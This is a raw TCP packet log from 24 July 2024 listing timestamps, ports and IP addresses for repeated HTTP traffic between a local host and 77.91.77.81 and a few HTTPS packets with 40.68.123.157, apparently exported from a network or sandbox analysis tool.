Jul 24, 2024 02:39:14.291909933 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.291932106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.291944981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.291965008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.291980028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.291999102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.292009115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.292032003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.292041063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.292064905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.292076111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.292098999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.292102098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.292131901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.292138100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.292176962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.292890072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.292938948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.308186054 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:14.308278084 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:14.314773083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.314831018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.314903021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.314932108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.314944983 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.314964056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.314973116 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315005064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315015078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315047026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315062046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315080881 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315088034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315114021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315146923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315146923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315156937 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315191031 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315197945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315232038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315246105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315264940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315273046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315298080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315305948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315339088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315347910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315388918 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315398932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315431118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315438986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315464973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315470934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315498114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315505028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315541983 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315547943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315582037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315602064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315613985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315618992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315644979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315686941 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315694094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315726995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315737963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315758944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315768003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315790892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315809011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315824032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315835953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315856934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315865040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315888882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315921068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315932035 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315953016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315967083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.315983057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.315993071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316024065 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316093922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316126108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316134930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316158056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316169024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316190958 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316203117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316225052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316232920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316257954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316267014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316289902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316298962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316329002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316422939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316456079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316504002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316507101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316540003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316571951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316584110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316605091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316612005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316637993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316647053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316664934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316679001 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316698074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316706896 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316729069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316739082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316757917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316767931 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316790104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316812038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316823959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316832066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316858053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316863060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316899061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.316936970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316968918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.316979885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.317001104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.317008018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.317034960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.317043066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.317065954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.317075014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.317095041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.317106009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.317127943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.317142010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.317161083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.317168951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.317193985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.317200899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.317225933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.317234039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.317372084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.343441010 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:14.343488932 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:14.344414949 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:14.380783081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.380831003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.380842924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.380867004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.380880117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.380899906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.380913973 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.380934000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.380944967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.380966902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.380978107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.381002903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.381047010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.395808935 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:14.402215004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402270079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.402271986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402309895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402319908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.402354002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.402359009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402393103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402405024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.402426958 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402430058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.402466059 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.402508974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402543068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402575016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402587891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.402607918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402614117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.402641058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402651072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.402678013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402688026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.402751923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.402815104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402847052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402848005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.402879000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402879953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.402913094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402945042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402976990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.402977943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.402985096 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.402985096 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.403011084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403043985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403054953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.403094053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.403214931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403247118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403280020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403294086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.403312922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403317928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.403362989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403394938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403412104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.403426886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403438091 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.403460026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403467894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.403512955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403522968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.403546095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403578997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403589964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.403620005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.403795958 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403829098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403861046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403872013 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.403892994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403904915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.403927088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403938055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.403959036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.403975964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.403991938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.404002905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.404025078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.404031038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.404057980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.404089928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.404103994 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.404124022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.404129982 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.404156923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.404169083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.404191017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.404192924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.404222965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.404231071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.404256105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.404263020 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.404289007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.404333115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.405961037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406029940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406065941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406078100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406100035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406110048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406136036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406141996 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406178951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406187057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406222105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406229973 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406255007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406263113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406287909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406295061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406321049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406327963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406354904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406362057 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406385899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406394958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406419992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406428099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406461954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406469107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406502008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406508923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406538963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406542063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406572104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406579971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406608105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406610966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406641960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406649113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406673908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406682968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406711102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406718016 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406744957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406753063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406779051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406797886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406810999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406819105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406845093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406852961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406877041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406884909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406909943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.406918049 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406953096 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.406989098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407032967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407040119 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407071114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407082081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407104015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407110929 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407135963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407144070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407259941 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407272100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407305956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407316923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407346964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407360077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407393932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407412052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407427073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407434940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407459974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407469034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407491922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407500029 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407524109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407536983 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407562017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407567024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407594919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407603979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407627106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407635927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407660007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407666922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.407692909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.407699108 CEST	49731	80	192.168.2.4	77.91.77.81
